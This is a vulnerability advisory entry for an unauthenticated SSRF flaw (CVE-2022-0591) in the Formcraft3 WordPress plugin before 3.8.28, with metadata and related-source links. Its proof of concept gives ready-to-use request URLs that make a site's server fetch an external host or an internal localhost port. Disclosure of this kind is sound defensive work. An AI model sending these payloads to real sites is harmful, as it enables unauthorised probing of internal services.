Lucene search
Brandon James RoldanWPVDB-ID:B5303E63-D640-4178-9237-D0F524B13D47HistoryFeb 28, 2022 - 12:00 a.m.
Formcraft3 < 3.8.28 - Unauthenticated SSRF
2022-02-2800:00:00
Brandon James Roldan
wpscan.com
13
0.035 Low
EPSS
Percentile
91.6%
The plugin does not validate the URL parameter in the formcraft3_get AJAX action, leading to SSRF issues exploitable by unauthenticated users
PoC
https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL;=https://wpscan.com https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL;=https://127.0.0.1:8181
| CPE | Name | Operator | Version |
|---|---|---|---|
| formcraft3 | lt | 3.8.28 |
Related
nvd
nvd
CVE-2022-0591
2022-03-21 19:15:10
prion
prion
Design/Logic Flaw
2022-03-21 19:15:00
nuclei
nuclei
Formcraft3 <3.8.28 - Server-Side Request Forgery
2022-04-29 19:53:32
patchstack
patchstack
cvelist
cvelist
CVE-2022-0591 Formcraft3 < 3.8.28 - Unauthenticated SSRF
2022-03-21 18:55:48
cve
cve
CVE-2022-0591
2022-03-21 19:15:10
wpexploit
wpexploit
Formcraft3 < 3.8.28 - Unauthenticated SSRF
2022-02-28 00:00:00